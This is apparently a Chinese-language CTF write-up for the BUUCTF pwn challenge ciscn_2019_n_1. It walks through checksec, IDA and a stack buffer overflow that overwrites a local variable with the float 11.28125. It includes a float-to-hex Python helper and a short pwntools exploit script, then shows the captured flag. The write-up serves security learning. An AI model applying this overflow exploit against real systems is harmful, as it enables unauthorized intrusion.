pwn学习(4)BUUCTF-ciscn_2019_n_1(浮点数转十六进制脚本积累)

checksec一下

IDA打开,如果满足的条件达成,就可以get flag

找到栈溢出漏洞,输入可以覆盖到v2

将代码11.28125在内存中的十六进制表示出来,

浮点数转十六进制代码如下:

复制代码
import struct

def float_to_hex(f):
    return hex(struct.unpack('<I',struct.pack('<f',f))[0])
print(float_to_hex(11.28125))
#output(0x41348000)

exp:

复制代码
from pwn import *

p=remote('node4.buuoj.cn',25860)

payload=b'a'*(0x30-0x4)+p32(0x41348000)
p.sendline(payload)

p.interactive()

运行出来的结果:

flag{8a5e8279-51a2-4b3b-8959-4d3f9b19227f}
总结:

脚本积累:浮点数转十六进制代码

相关推荐
努力学习的小廉1 分钟前
redis学习笔记(三)—— hash数据类型
redis·笔记·学习
学编程的闹钟4 分钟前
C语言WSAGetLastError函数
c语言·开发语言·学习
Coisinilove22 分钟前
MATLAB学习笔记——第一章
笔记·学习·matlab
努力学习的小廉25 分钟前
redis学习笔记(四)—— list数据类型
redis·笔记·学习
Amazing_Cacao33 分钟前
工艺师体系回顾|从参数到系统的能力跃迁(精品可可,精品巧克力)
学习
im_AMBER41 分钟前
Leetcode 118 从中序与后序遍历序列构造二叉树 | 二叉树的最大深度
数据结构·学习·算法·leetcode
jay神1 小时前
基于SpringBoot的英语自主学习系统
java·spring boot·后端·学习·毕业设计
CappuccinoRose1 小时前
HTML语法学习文档(一)
前端·学习·html
承渊政道1 小时前
C++学习之旅【C++继承概念指南与核心内容介绍】
c语言·开发语言·c++·笔记·学习·visual studio
GeminiJM1 小时前
LangGraph 源码学习笔记
linux·笔记·学习·langchain